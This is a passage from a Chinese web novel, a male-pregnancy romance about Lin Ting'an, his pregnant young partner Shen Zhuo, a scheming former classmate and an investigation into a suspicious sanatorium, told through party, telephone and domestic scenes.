公关团队最开始提出的方案,是叫林庭安直接对外宣称自己已经秘密结婚,并且有了孩子。 再给沈茁编造一个神秘的身份,只要他不出现在众人面前,那就没人知道孩子到底是男的生的还是女的生的。 只不过这样未免太委屈沈茁,如果按照这个方案实施,那么沈茁就要像阴沟里的老鼠一样活一辈子。 林庭安想也没想就否了,又跟公关团队研究了一个月,才定下了最终的方案。 公开但又不完全公开,话只说一半,留一半让别人去猜。 到时候别人怎么猜,那就不关林庭安的事了。 就比如现在,陈继乾摸着下巴思索了好一阵。 他见林庭安笑而不语,又联想到最近的传闻说林庭安是个同性恋。 一个同性恋有了孩子,那必然是用了科技手段。[1] 这样的话,也怪不得林庭安会遮遮掩掩。 陈继乾不断用手指摩挲杯沿,也沉默了。 “我爱人年纪小,等孩子出生了估计也会手忙脚乱,到时候还要多跟嫂子请教。”林庭安突然开口。 陈继乾挥了下手,刚要说客气了,就听林庭安说:“只不过我爱人是男的,希望嫂子不要介意。” …… 林庭安这话无异于自爆,几乎是瞬间陈继乾就印证了刚刚的猜想。 “她年纪也不大,才二十出头,不一定比你家那个小。” 陈继乾沉思片刻,心里有了计较,也没有多问,顺着林庭安的话接了下去。 “我家那位才十八,过了十二月也才十九岁。”林庭安幽幽道。 陈继乾喝酒的动作一顿,看林庭安的眼神逐渐变得复杂。 林庭安倒是泰然自若,一连给自己倒了几杯酒,不紧不慢地小酌,心情很好的样子。 他来这儿的目的已经达到了,怎么可能不开心。 这场聚会来了很多人,沙发摆放得十分密集。 隔壁桌的几人都跃跃欲试想要上来跟他们搭话,但又不敢贸然上前。 于是只能坐在一旁等着,想等两人聊完了天,他们再过去寒暄几句混个脸熟。 林庭安和陈继乾说话时都没控制音量,旁边的人想不听到都难。 众人后知后觉自己听到了惊天的秘密,寒暄的心思瞬间没了,作鸟兽散似的跑了个精光。 林庭安用余光看着那些落荒而逃的身影,知道自己这办法算是成了。 这帮人都是管不住嘴的,消息不胫而走是必然的事。 又跟陈继乾聊了几句,林庭安突然来了个电话。 他朝陈继乾点头示意,捂着听筒走上了较为安静的天台。 一道微不可查的视线紧紧跟随着林庭安的行动路线,直到高大的身影消失在天台入口才不舍地断开目光。 昏暗的光影下,一个身材纤细的男生被几个富家子弟围在中间。 “闵舟,你看啥呢?” 说话的是个大腹便便的富二代,家里做的是轮胎生意,身份虽比不上林庭安等人,但也算有钱有闲。 “是啊,你老往后面看,后面到底有啥呀?” 紧跟着开口的是个精瘦的男人,看着跟闵舟差不多大,耳朵上挂满了闪闪发光的银饰,打眼一看就是个不良少年。 “我看什么你们还不知道吗?” 闵舟垂着眼睛,连眼皮都没抬一下。 他捏着吸管,小口喝着粉蓝渐变的鸡尾酒。 “什么意思?” 轮胎男大口喘着气,扬起比闵舟小腿还粗的胳膊,往闵舟脖子上一搭,“你看上谁了?” “闵舟,你可别分不清大小王!” 第三道声音响起,这次说话的是个暴躁少爷,头发染得通红,乍一看还以为草原上的篝火成精了。 “你们瞎猜什么呀?” 闵舟用委屈的眼神扫过几人,“再这样我可走了。” “别呀,”不良少年走过去,嫌恶地把轮胎男的手拎起来扔到一旁,“你走了我们玩什么呀。” 他把闵舟揽进怀里,带着欲望的眼神紧紧盯着闵舟的嘴唇。 沉默了几秒,不良少年慢慢俯身,捏着闵舟的下巴作势要吻上去。 唇瓣马上要触碰在一起时,闵舟突然偏头,沉重的吻印在了他白皙的脸上。 “操,马老二你特么有病啊!” 篝火精突然冲过来,照着不良少年的脸来了一下。 两人扭打在一起,吓得周围的人立刻避开,让出了一片空地。 闵舟看着不成气候的二人,深深叹了口气。 他现在已经二十六了,虽然一直在跳舞,身材和样貌都保持的很好,但到底比不上那些二十出头的小年轻。 上大学的时候追他的人多得数不清,如今身边留下的竟然就只剩了这几个。 虽然心里恶心,但现在他正是有事求人的时候,偏偏还不能跟他们撕破脸。 眼看两人越打越凶,闵舟怕事情控制不住,重重嘶了一声。 这一声比什么灵丹妙药都管用,篝火精和不良少年一齐停手。 二人拍拍身上的灰站起来,瞥了眼对方,又迅速别过头。 闵舟朝他们招手,两人就跟哈巴狗一样回到原位重新坐了下来。 “马老二我告诉你,你嘴巴放干净点,别动不动就要上手。”篝火精警告道。 不良少年嗤笑:“你有什么资格说我,你自己的手就老实了?” 眼看两人又要吵起来,闵舟一拍桌子,声音带着哭腔:“你们再这样我可真走了!” 此言一出,二人都不说话了。 “我今天把你们叫过来,是想让你们帮我查一个人。” 闵舟今天穿了件紧身上衣,后背露出了一大片,不过完全被宽大的外套遮盖住了。 他知道这些人都是色鬼,不给他们点甜头他们就不干活。 于是故意将外套扯下来,露出了自己高挺的直角肩。 果然,吞咽口水的声音立刻此起彼伏地响起。 “查谁呀,你说,我们就是上刀山下火海也给你查出来!” “沈茁。” 闵舟咬着牙,用阴冷的目光盯着地板,狠狠地吐出两个字。 说完,他似有所感,朝天台出口的地方看了一眼。 果然,一个熟悉的身影走了下来。 林庭安步伐沉稳,举手投足间都透着矜贵。 闵舟心神一动,朝几人说了句:“麻烦你们了,我还有事就先走了。” 话音未落,人就离开了座位,朝林庭安的位置飞奔了过去。 只留沙发上的几人面面相觑,在五颜六色闪烁着的灯光下傻了眼。 第53章 来电的是王启仁, 这个神神叨叨的男人在过去两个月里一直在跟进关于那家疗养院的调查。 林庭安经常接到他的电话,两人对话的内容很简单。 王启仁会简明扼要地汇报一下事情的进展,然后调侃他几句,末了嘿嘿笑几声再挂断电话。 这次也跟以往一样, 张垣派去的人在关岐岛埋伏了一个多月, 终于查到了些蛛丝马迹。 派去的人里只有一个成功进入疗养院, 成为了里面一名不起眼的清洁工。 他进去之后发现这家疗养院的运行模式都是合理的,每日接送的人也真的都是待救助的妇女儿童。 就在大家以为这条线查不下去时, 这个卧底意外发现疗养院的构造十分奇怪。 最上面的几层楼住的都是小孩, 下面几层住的是大人。 按理说小朋友年纪小, 正是活泼好动的年纪,应该安排她们住在下面的楼层才对。 卧底顺着这条线往下查,在一个夜深人静的晚上摸黑爬上了四楼。 果然让他发现了卫生间有一个暗格,卧底赶忙给张垣发消息汇报, 然后就彻底失联了。 截止到目前将近二十四小时, 这个大活人就像凭空消失了一样,没人能联系上他。 王启仁猜测有百分之九十的可能卧底已经暴露, 现在指不定被关在哪儿受苦呢。 林庭安得到消息立刻让张垣去报了警, 关岐岛重视人文, 警方一般会在接到报案的两小时内展开调查。 最重要的是,林家在关岐岛有生意,跟警署也算说得上话。 这样一来,他们就有了合适的理由, 进入到疗养院调查。 可谓塞翁失马,焉知非福。 挂断电话后林庭安没急着下楼,而是站在天台吹了会风。 没两分钟,手机又响了, 这次是唐卿打来的。 电话刚接通对面就是劈头盖脸一顿骂,林庭安迅速移开手机,揉了揉耳朵。 约莫唐卿快骂完了,才重新把手机贴在耳边。 “我告诉你,以后再这么晚回家,我就把小沈接过来跟我一起住。” “妈,您去我家看沈茁了?”林庭安问。 “我再不去小沈就寂寞死了,”唐卿蓦地暴躁起来,“他现在肚子那么大了,你也不着个家,你让小沈怎么想?” “我这边马上就结束了,一会儿就回去。” 林庭安被骂了也不生气,他解决了一个大麻烦,那边的事也有了进展,开心还来不及。 “我不管你在外面有什么应酬,现在小沈怀着孕你得让他舒心,他不舒心我孙子就不舒心。” “我知道了。” “还有你别让他吃那么多蛋糕和甜食,对孩子不好。” “他喜欢吃,而是我问过医生少吃一点没问题。” “那是一点吗?”唐卿提高音量,“我刚才眼睁睁看着你手底下的人送了那么多甜食过来,还有奶茶,那是孕妇能吃的吗?” “您不用担心这个,我和沈茁心里都有数,不会过量的。” 林庭安不想再继续这个话题,顺着唐卿的话打了个哈哈,应付几句就挂断了电话。 最近这两月沈茁肉眼可见对唐卿越来越依赖,林庭安看在眼里,却开心不起来。 他自己的亲妈他了解,唐卿作为母亲来说是十分负责的,作为京大教授她也做到了传道受业教书育人。 但她本质里其实是个过分理智,以至于有点冷漠的女人。 唐卿做事是很有目的性的,她为了达到目的可以扮演一个热情亲切的妈妈。 林庭安只害怕有一天沈茁做了什么不如她意的事,她也会毫不客气地亮出爪牙。 原地站了会儿,林庭安整理好衣服打算下楼。 没成想,又接到了今天晚上的第三通电话。 他看了眼屏幕上的备注,不耐的表情瞬间变得柔和。 “马上就回家,想我了?” “妈妈刚才来了。” 沈茁托着肚子,半靠在沙发上,惴惴不安道:“她看我吃甜品,好像不是很开心的样子。” “我爸惹她不开心了,她心里正不痛快呢,”林庭安随口扯了个谎,“不是因为你,别多想。” “真的吗?” “当然是真的,骗你做什么。” “那好吧,”沈茁松了口气,脸上终于有了笑容,“你快回来吧,我的脚好肿好难受。” “肚子难受吗?腰酸不酸?” “都还好,只有脚不好。” 沈茁自认不是娇气的人,但被林庭安宠久了,身体上有哪怕一丁点的难受都会被放大好几倍。 他不舒服就想要人安慰,他不开心就希望林庭安能哄他。 一开始沈茁也怕林庭安会觉得烦,但后来他发现林庭安不但不觉得烦,反而乐在其中,久而久之沈茁自己也没了负罪感。 被人这样惯着,再能吃苦的人也会被养娇了。 “马上就回去,”林庭安声音宠溺,“你跟宝宝说让他乖乖的,要是再闹你,我今天晚上就不给他讲故事了。” 沈茁被逗得咯咯笑,“我只是脚疼,宝宝才没闹我呢。” “好,是我说错了,宝宝很乖,宝宝爸爸也很乖。” “那宝宝的爹爹也要早点回家。” 沈茁又想到了林庭安没回家的那个晚上,那晚他几乎一夜没合眼,又生气又担心。 从此之后门口一有动静他就会停下手里的动作去听,边听边想是不是林庭安回来了,还是说他今晚都不会回来了。 “大概九点左右,”林庭安低头看了眼腕表,“不超过九点半,一定到家。” “好,那我等你回来。” 这次挂断电话,林庭安直接把手机调到了静音。 至少在半小时内,他不想再接到第四通电话了。 聚会已经接近尾声,天台的人几乎都下了楼,只有零星几个人正坐在吊椅上聊天。 林庭安环顾四周,朝座位上的人微微点头,快步下了楼。 他边走边将整理袖口,刚迈下最后一个台阶,突然有道影子冲了过来。 林庭安反应迅速,侧身躲了一下,那人的脸微微擦过他的肩。 因为惯性,闵舟又向前踉跄了几步。 鼻尖传来一股刺鼻的香味,林庭安皱起眉,抬手在鼻头的位置扇了几下。 他没将这个冲撞当回事,抬起脚就要继续往前走。 “庭安,你不记得我了吗?” 白净纤细的胳膊挡在林庭安胸前,闵舟调整好表情,面带笑容走了过来。 “是你?”林庭安面无表情,“有什么事吗?” “怎么说我们也是老同学,还是室友,聊几句再走也不算过分吧?” 闵舟悄悄向前移了几步,停在距离林庭安一拳远的位置。 “我们有什么好聊的吗?” 林庭安不着痕迹地向后退了一步,拉开了两人之间的距离。 “那次去户外探险你救了我,怎么说也是我的救命恩人,但当时我说要请你吃饭你总是推脱,过了这么久你总不会再拒绝了吧?” “只不过是举手之劳,那次是我带你去的,有责任全须全尾地把你带回来,吃饭就免了吧。” “好吧,”闵舟苦涩地笑了笑,“毕业之后你换了号码,我问了很多人都没联系上你,现在加个联系方式总可以吧?” 他举起手机,在空中晃了晃。 林庭安着急回家,见闵舟一再坚持像是做好了死缠烂打的准备,他无奈只好掏出手机。 闵舟笑着将自己的手机号读了一遍,亲眼看着林庭安将号码保存才肯罢休。 然后他踮起脚,伸长脖子盯着林庭安的手机屏幕。 趁林庭安不注意迅速点了下屏幕上绿色的拨号键,与此同时揣在口袋里的手机也跟着响了起来。 “这样我也有你的手机号啦。” “那我就先走了,”目的达成闵舟见好就收,“咱们有缘再见。” 林庭安看着手机屏幕上那通响了几秒的通话记录,只觉一个头两个大。 此刻他满脑子都是要回家给沈茁捏脚,实在没工夫思考这个小插曲。 疾步走过去跟陈继乾告了别,林庭安立刻下楼开车,赶在九点前回了家。 沈茁正无聊赖躺在沙发上看电视,眼皮不住地往下耷拉,下一秒就要睡着的样子。 林庭安开门的声音将他惊醒,沈茁揉揉眼睛,慢腾腾翻身下床。 走过去抱住林庭安的胳膊撒娇:“你怎么才回来,我的脚都要自己好了。” “困了?” 林庭安将沈茁微湿的刘海向上捋了捋,“现在帮你揉,嗯?” “好。”沈茁拉长声音。 他松开抱着林庭安的手,企鹅一样迈着小碎步重新躺回到了沙发上。 “来吧,”沈茁恬静地闭上眼,“今天左脚比右脚疼,想要捏重一点。” 林庭安任劳任怨走到沙发尾,抓住沈茁的脚踝抬起,坐定后将沈茁的脚放在了自己腿上。 按摩的技术是他特意找了个盲人师傅学的,满打满算学了差不多半个月。 虽比不上师傅技艺精湛,但也掌握了基本的技巧。 力道轻重,如何使用巧劲,林庭安学了个七七八八,用来给沈茁按脚绰绰有余。 “我今天看了很久的电视,”沈茁突然开口,“差不多有五个小时。” 愣了一秒,林庭安勾唇轻笑,他现在猜沈茁的心思一猜一个准。 这小孩无非是贪玩想看电视,但又怕看久了电视对宝宝不好,心里的欲望和愧疚正交锋呢。 “只许你看三个小时是怕对你眼睛不好,没人拘着你这个。” 林庭安按完了右脚,立刻转攻沈茁的左脚,握住他左脚的脚踝开始揉捏。 “我还一边看电视,一边玩iPad来着。” “玩了多久?”林庭安随口问。 沈茁哼哼道:“也没多久,就是看了多久电视就玩了多长时间平板。” “刷短视频了,还是玩游戏了?” “玩游戏了,”沈茁越说越没底气,声音也越来越小,“我就玩了个连连看,没玩别的。” “哦,连连看能玩几个小时。” 林庭安专注手上的动作,没拆穿沈茁,逗小孩似的用话噎他。 “我好了,不捏了!” 沈茁撒完谎脸憋得通红,他挣扎着想要坐起来。 “不行,我还没按完呢。” 林庭安一把抓住他的脚,硬生生把人按了回去。 “我不要了。”沈茁又开始撒娇。 他仰面躺着,高挺的肚子不断挤压他的膀胱,就是没尿也能挤出尿来。 “我想上厕所,”沈茁哀嚎,“你快陪我去。” “好好好,慢点,你小心肚子。” 林庭安忙将人扶起来,搀着沈茁去了卫生间。 进了卫生间,沈茁抓着林庭安的手臂站在马桶前,等着林庭安给他服务。 林庭安习以为常地帮沈茁脱掉裤子,用手扶住小沈茁,“尿吧。” 得到指令,沈茁开始用力,淅淅沥沥的滴答声骤然响起。 绵长的水声后,沈茁拍拍林庭安的胳膊让他帮自己提裤子。 穿好裤子洗完手,两人并肩走出了卫生间。 沈茁小脸红扑扑的,抱着林庭安的胳膊傻笑,“嘿嘿嘿,我今天尿的多不?” “不许憋尿,”林庭安捏了捏他的鼻子,“白天想上厕所就叫阿姨,别害羞知道吗?” “可是我真的不好意思,”沈茁用脑袋去顶林庭安的肩,“为什么你就不能一直在家呢?” “我一直在家的话谁给你们爷俩挣钱花啊。” 林庭安照着沈茁的额头亲了下,他只能竭尽所能给予沈茁陪伴,其余的想来想去也只有无奈。 沈茁不是骄纵的性子,抱怨几句心里的气就散了。 他边摇晃林庭安的手臂,边用脑袋蹭他。 蹭了一会儿,突然闻到一股很陌生的味道。 是一种花香味,林庭安喜欢木质香,沈茁自己喜欢果香。 家里类似沐浴露之类带香味的东西早就换成了果香,他为什么会闻到花香味呢? 沈茁不死心,抓着林庭安西装小狗一样仔仔细细地闻了起来。 从外衣闻到里衣,要不是他行动不便一定要蹲下来闻闻裤子。 “今天打算cosplay小狗了?” 林庭安嘴角噙着笑,边摸沈茁的脑袋边说:“别闹了,咱们回卧室,我给你放水洗澡。” 沈茁停下动作,鼻子在空中动了几下,怎么感觉花香又没了? 难道是他闻错了? 沈茁想不明白也不为难自己,听林庭安提到洗澡,他突然想到了什么,便开始打小报告。 “上回一个阿姨放的水都快把我烫死了,你去说以后就让王阿姨给我放水吧。” “哪个阿姨要把我家小狗烫死啦?” 林庭安抚上沈茁的肚子,说话声音都夹了起来。 “就是那个短头发有毛绒卷的阿姨,”沈茁小声说,“她做的东西也不好吃。” “要不就把她换了,再找一个来。” “还是别了,我听说她老公现在还瘫痪在床上呢,要是把她辞了一时半会找不到工作,生活不知道有多难。” “就你心善,”林庭安蹲下来,对着沈茁的肚子说:“宝宝以后长大了别学你爸,凡事要以自己的感受为主,其次再考虑别人。” 沈茁撇撇嘴,哼道:“你不要给宝宝灌输这种观念。” “我说的哪里不对?” 林庭安站起来捧住沈茁的脸,郑重地说:“你记住,你自己的感受才是最重要的。” “下次水温高了就直说,算作提醒,如果阿姨不改再辞退她。” “不要可怜一个在工作中偷奸耍滑的人,知道吗?” “我知道了,”沈茁点点头,飞快在林庭安嘴角处吻了一下,“你说的话我都记得。” 林庭安捏住他的鼻尖小幅度摇晃,“记住了就好。” 第54章 因为沈茁身体不便, 家里最近换了个新的圆形浴缸。 新浴缸比之前那个大了将近一倍,周围一圈都加了扶手,洗澡时抬手就能抓到,非常方便。 天气渐凉, 沈茁每日洗澡的时间也提前了一个小时。 林庭安放好水时刚好十点整, 他按照一贯的流程, 试探水温后帮沈茁脱衣服,再扶着他坐进浴缸。 面对林庭安时, 沈茁早已没有了羞耻心。 这个男人不知道帮他洗过多少次澡, 几次下来再害羞的人也会脱敏了。 见沈茁坐稳了, 林庭安紧跟着脱掉衣服,修长笔直的腿迈进浴缸,坐在沈茁后面抱住了他。 “今天妈过来跟你聊什么了?” 林庭安边给沈茁擦身体边问:“她看你吃蛋糕说了什么吗?” “没说什么,我就是觉得妈的眼神不太对。” 沈茁放松地靠在林庭安怀里, 将全身的力量都压在他身上。 回想起白天唐卿看自己的眼神, 沈茁不知道是他想多了,还是唐卿真的对他有意见。 脑子里两团雾气混在一起, 混浆浆雾蒙蒙的。 “我妈今天上午有两节课, 估计是下课就来看你了, 一时间眼神没切换回来。” 林庭安掰开沈茁的指缝,用打湿的毛巾擦拭他的指缝。 沈茁的手指比之前粗了一圈,虽然不像鸡爪子了,但也只是达到了正常男性的粗细。 细嫩的手指被热气染红, 林庭安盯着看了一会儿心思就不纯了。 他执起沈茁的手放在唇边亲了一下,没忍住又照着指腹处的嫩肉咬了一口。 “可是你下午在电话里不是说,妈是因为跟爸吵架了才不开心吗,到底是因为什么呀?” 沈茁气鼓鼓抽出自己的手, 一个回手掏按住了小小林。 “大林子你抬什么头,收回去!” “大林子收不回去怎么办?” 林庭安被揭穿了也不慌,他抓住小沈茁,眼神晦暗不明:“我先帮你,你再帮我。” “你,”沈茁的脸唰一下红了,“你你你!” “我怎么了?” 林庭安的流氓气质已经达到了炉火纯青的地步,自打开了荤沈茁就没少受他磋磨。 当然,他也是有分寸的,再怎么搞也不会碰到沈茁的肚子。 沈茁一开始还觉得别扭,时间长了也逐渐体会到了其中的乐趣,慢慢的也就不反抗了。 “可是我最近手没力气,只能帮你几分钟。”沈茁红着耳朵说。 “那我今晚岂不是惨了,”林庭安故意拉长声音,唉声叹气:“算了,谁叫我宠老婆,几分钟就几分钟吧。” 很拙劣的演技,甚至没有刻意修饰隐藏。 偏偏沈茁还就吃这一套。 他盯着被暖色调灯光照映成黄色的水面,心一横咬牙道:“最多二十分钟,你要是出不来的话,那我也没办法了。” “老婆真乖。” 林庭安捏住沈茁下巴,微微用力向上推,沈茁顺着他的力道仰起了头。 两人的目光撞在一起,瞬间迸发出激扬的火花。 林庭安俯身低头,二人交换了一个绵长的吻。 几分钟后,粗重的喘息声在氤氲着水汽的空间响起。 林庭安的手扶住沈茁的腰,暗示性地摩挲他的腰腹。 沈茁接收到信号,托着肚子向前移动了一段距离。 …… 今天的澡洗得格外久,将近十二点两人才从浴室出来。 直到躺在了床上,沈茁还在小口地喘气。 根本不是二十分钟! 果然,男人的嘴骗人的鬼! 沈茁翻了个身,抱住床上的长条抱枕,林庭安顺势托起他的肚子搭在抱枕上。 他掀开被子躺在沈茁对面,两人面对面躺着。 想到聚会上陈继乾说的话,林庭安开玩笑说:“你说宝宝生下来之后会不会天天哭?” “刚出生的小婴儿当然会天天哭,”沈茁不明所以,“怎么了,你碰到谁家的小朋友不哭不闹了?” 林庭安笑着摇头,“不是,是最近合作的老总说家里孩子整天哭,他都不想回家了。” “啊?”沈茁露出讶异的表情,“那你以后不会也不想回家吧?” “想什么呢,”林庭安捏住他的脸,“咱孩子就算哭得跟个炮仗一样我也不会不回家。” “宝宝才不会是炮仗呢,”沈茁哼了声,小兽一样龇起牙,“哪个亲爹会说自己孩子是炮仗?” “我这不是打个比方吗,重点在后半句。” 林庭安加重手上的力道,沈茁吃痛嘶了声拍掉他的手,捂着被捏红的脸,眼神哀怨地看着这个手欠的男人。 他发现林庭安很喜欢这样不轻不重地闹他,捏一下不至于太疼。 但他皮肤薄,红印在挂在脸上没有几天都消不下去。 沈茁揉了揉自己的脸,没吭声。 林庭安将手贴在沈茁的肚子上,兀地开口:“这个老总姓陈叫陈继乾,比我大不了几岁。” “他也是世家子弟,刚结婚没几年,去年他老婆刚给他生了个儿子,现在还不到半岁。” “陈家的生意面虽然没有咱家广,但陈家主要是纵向发展,在各行各业挖掘的深度都要比咱们高。” 沈茁眨眨眼睛,他不懂生意场上的事,只能做个耐心的倾听者,乖乖听林庭安说话。 “算一算咱家孩子二月份就出生了,到时候你带着孩子多去走动走动。” 林庭安抚摸着沈茁圆滚滚的肚子,“你别担心,我都打过招呼了,到时候我陪着你一起去。” “好。” 沈茁刚支棱起来的脾气一下子回到了解放前,他猛地意识到自己要开始接触林庭安的圈子了。 虽然惴惴不安,但他别无选择。 哪怕是为了孩子,他也得硬着头皮去社交。 沈茁想,或许他更应该庆幸。 庆幸林庭安没有将他藏起来,没有找个女人去扮演孩子名义上的母亲的角色。 看出了沈茁的不安,林庭安翻了个身从后面抱住他。 这是个很有安全感的姿势。 林庭安的手还贴在沈茁的肚子上,灼热的手心源源不断传输着能量。 “沈茁,我这个人不喜欢拐弯抹角,做事也有自己的坚持。” “我自诩不是个道德感很强的人,做生意时为了达到目的也有自己的手段,但对你对孩子,我可以保证绝对问心无愧。” “你情况特殊,对外只能模糊你跟孩子的关系,这已经是我能想到的最好的办法。” 林庭安这几句话说得毫无保留,沈茁听了心里暖呼呼的。 他当然知道这已经是最好的办法,就算没有林庭安这层身份,他也不能公开孩子是他自己亲生的事实。 这算什么委屈呢? 沈茁抬起被磨得火辣辣的手,覆盖在林庭安的手背上。 “我知道你为我考虑了很多,你是个合格的爹爹。” 林庭安拥他拥得更紧了些,调笑道:“难道不是个合格的老公?” “也……也是合格的老公。” 沈茁说起肉麻的话还是害羞,他呼出口热气,心跳久违地加快。 “好了,不逗你了,”林庭安语气温柔,“睡吧。” 沈茁莞尔:“晚安。” 两人保持着这个姿势闭上了眼睛,他们都累了一天,又在浴室折腾了许久,眼睛一闭立刻就要睡过去。 几分钟后,就在二人马上要进入睡眠时,沈茁的肚子突然动了一下。 最先感受到胎动的是林庭安,他的手紧贴在沈茁的肚皮上,任何风吹草动都逃不过他的手掌心。 黑暗中,林庭安猛地睁开眼。 心里似有热浪翻滚,他一时分不清掌心被狠狠踢的那一下,究竟是现实还是他在做梦。 又过了两分钟,沈茁规律的呼吸声在耳边响起。 林庭安就在这时感受到了掌心处传来的第二次震动。 这一次的力道比上一次更大,带给林庭安的震撼也更深刻。 他几乎要压制不住内心的激动,呼吸有一瞬的凝滞,又瞬间加重。 慢慢坐起身,林庭安轻手轻脚下了床。 绕了一圈停在沈茁那侧,他单膝跪地,视线刚好能看到沈茁的肚子。 移开沈茁放在自己肚子上的手,林庭安撩开他的衣服,盯着他圆滚的肚皮看。 邢远说沈茁肚子大得不正常,一开始他们还以为怀的是双胞胎,但一路产检都显示沈茁肚子里只有一个孩子,根本没有双胞胎的可能。 因为这个,两人又做了好几项胎儿畸形检查。 林庭安甚至委托专门做基因研究的朋友,给他们做了基因筛查。 检测结果显示他们的基因可以正常结合,生出来的孩子也不会有遗传疾病。 这个结果让二人都松了口气,但一刻查不出沈茁肚子过大的原因,他们就一刻不能放松警惕。 两人这么大动干戈,实在是因为沈茁的情况太特别,稍有不慎就有可能生产出不正常的孩子。 林庭安曾思考过这个问题,如果检测出胎儿畸形,那么他一定会跟沈茁商量,把这个孩子打掉。 虽然现在医疗手段发达,但依旧有许多基因疾病是无法通过治疗痊愈的。 一个人如果还没出生就注定会不正常,那么在拿到畸形确诊报告的一刻他苦难的一生就开始了。 作为父母,唯一要做的就是提前扼杀掉他痛苦的、受歧视的一生。 当然,这些他也只是在心里想想。 林庭安知道沈茁有多看重这个孩子,在没有确诊之前他是不会把这些话说出来的。 不过现在,林庭安看着这个小生命顽皮的动作,心里的想法有了动摇。 他第一次对自己要做父亲有了这么真实的感觉,这简直太奇妙了。 乖孩子,既然你违背正常的规律诞生在了你爸爸的肚子里,那也一定要继续坚强下去,成为一个健康的宝宝。 林庭安轻轻抚摸沈茁的肚子,下一秒,肚子里的孩子似有所感踢了他的手一下。 睡梦中的沈茁皱起眉头,不安地想要翻身。 奈何肚子太大,翻了半天也没翻过去,只能在原地哼哼。 林庭安见状立刻站起来,抽出长条抱枕放到沈茁身后,扶着沈茁翻了个身。 他自己则顺势上床躺在了沈茁身后,重新拥住他。 放下沈茁的衣服,覆盖住他微凉的肚皮。 林庭安隔着睡衣捏住那调皮凸起的一块,小声警告:“臭小子,把脚收回去,把你爸踢疼了。” 肚子里那个像是听懂了,沈茁肚子上的凸起慢慢消失,就连胎动都没了。 “这才是乖孩子,”林庭安安抚地拍了怕沈茁的肚皮,“爸爸很辛苦的,你不可以闹他。” “晚安,我的宝贝。” * 第二天,沈茁早早醒了。 他扶着酸疼的腰坐起来,感觉全身像被车压过一样疼,肚子上的痛感尤为强烈。 “老公,我要上厕所。” 沈茁眯着眼睛,用力朝身边拍了拍,“老公,你快点起来,我憋不住了。” 摸黑拍了几下,身边一点动静都没有。 沈茁睁开眼睛去看,只见床上除了他自己一个人都没有。 正疑惑,林庭安突然推门走了进来,手上还端着刚准备好的早餐。 沈茁跪在床上,笨拙地爬过去,抱住林庭安的腰撒娇:“我要上厕所,憋不住了。” “快下来,我带你去。” 林庭安连忙把手里的东西放在一旁,扶着沈茁进了卫生间。 释 放完,沈茁满脸惬意,又被林庭安扶了出来。 “老公,我们今天去哪玩?” 沈茁站在床头吃早餐,边吃边问:“我们是不是该去看爷爷了,已经一周没去了。” “你可真是我肚子里的蛔虫。”林庭安噙着笑,看着沈茁大口地吃东西,他心里也莫名感觉十分满足。 “先去看爷爷,他老人家过几天出院,下次再见估计就是在老宅了。” 沈茁咽下碗里的最后一口燕窝,皱着眉说:“我想跟你一起逛母婴店,还想去超市买零食,晚上想去逛夜市。” “都可以,今天都听你的,”林庭安把牛奶递给他,“慢点吃,喝点牛奶顺一顺。” “我喝不下了,”沈茁的脸皱成一团,不断用手拍打自己的胸脯顺气,“这杯你喝了吧。” “这燕窝是我妈拿过来的?”林庭安指着那个空碗问。 “嗯,妈说我每天都要喝,之前的营养剂邢远医生给我停了,不喝这个就不能补充营养。” “妈说喝这个对宝宝好,多喝的话以后孩子长大了身体更健康。” 提到宝宝,沈茁的眉头逐渐舒展开。 “要是不喜欢吃我们可以吃别的,能补充营养的东西有很多,没什么是不能被替代的。” 林庭安拉着沈茁坐在自己的腿上,仰头在沈茁嘴角处亲了一下。 “乖,你去洗漱,我收拾一下开车带你出门。” “好。”沈茁红着脸点头。 第55章 沈茁的肚子在怀胎四个月时开始疯长, 自此他出门就必须要戴假发了。 林庭安在短短一个月的时间里给他准备了很多顶假发,常见的几种颜色都备齐了,甚至还有一顶粉毛。 但沈茁最喜欢的还是最开始那顶黑色的,每次出门戴的也都是那个。 有几次沈茁出门散步回来刚好撞到林庭安回家, 林庭安见他还带着那顶假发, 就笑他有雏鸟情节。 沈茁气得一整天没理人。 林庭安因为句玩笑话碰了一鼻子, 哄了两天才把人哄好,后来再也没敢当着沈茁的面提他戴假发的事。 事后他总结沈茁生气的原因, 觉得万恶的孕激素才是罪魁祸首。 沈茁明明不是爱生气的人, 之前也从来没有主动冷战过。 排除掉是他自己把沈茁的脾气宠大了, 林庭安能想到的就只有孕激素了。 况且邢远曾经说过,孕期的种种不良反应往往是相伴着一起出现的。 就像平静的海面突然激起浪花,一朵浪花后紧跟着的将会是千万朵翻卷的波涛。 沈茁的脚越来越肿,腿抽筋的次数也越来越多, 孕反也比前几个月严重了很多。 思虑过多, 脾气变大,似乎也情有可原。 “我的那件浅棕色的大衣哪里去了?” 沈茁扶着肚子, 急得满头是汗, 站在衣帽间一件件扒拉挂成一排的呢子大衣。 林庭安走过去, 按住他陀螺一样忙碌的手,“阿姨不是拿了一件棕色的大衣出来,穿那件就好。” “可是我很早之前就计划好了,去见爷爷要穿那个浅棕色的大衣, 那件显得人有精气神。” “阿姨拿的那件是深棕色的,穿上之后显得人很笨重,我不想穿那个。” 沈茁的声音逐渐放软,早上还神采奕奕的眼神此刻却无比暗淡。 林庭安对此早已见怪不怪, 他耐着性子把沈茁拉到床边坐下,“你坐着,我去帮你找。” 进了衣帽间,林庭安边翻找大衣边问:“是那件开领的吗,前面只有两个扣子的?” “对,”沈茁扯着嗓子说,“就是那件。” “好,你坐着千万别动,我帮你找。” 林庭安在一大片棕色里找了半天,也没找到沈茁嘴里那件。 他撑着腰站在原地苦思冥想,搜刮全部的记忆也想不起来这件消失的衣服到底哪去了。 不应该啊,这衣服他有印象,就在衣柜…… 想到这,林庭安脑中灵光一闪,蓦地把自己气笑了。 沈茁出门穿的是女装,而女装都被王秋梅搜罗到一起放在了另一个房间。 他们俩在只有男装的衣帽间里找一件女式大衣,这能找到就有鬼了。 侧头朝屋里看了一眼,见沈茁正坐在床上发呆,林庭安没说话,默默出去把那件浅棕色的大衣找了出来。 “现在舒心了吧?” 两人站在门口,沈茁张开手臂任由林庭安给自己套上大衣。 围上围巾穿好鞋,林庭安见沈茁还是一脸不愉,低头飞快在沈茁脸上亲了一口。 “想什么呢,”林庭安不轻不重弹了沈茁一个脑瓜崩,“今天外面冷得都能呼出白气了,就算围着不舒服也不能摘围巾,知道吗?” 沈茁瞪了林庭安一眼,揉着自己的头说:“我知道,我不是小孩,不会乱脱衣服的。” 林庭安笑了笑,想调侃他以前没少因为穿着不舒服就脱外套。 话到了嘴边,见沈茁兴致不高,就又收了回去。 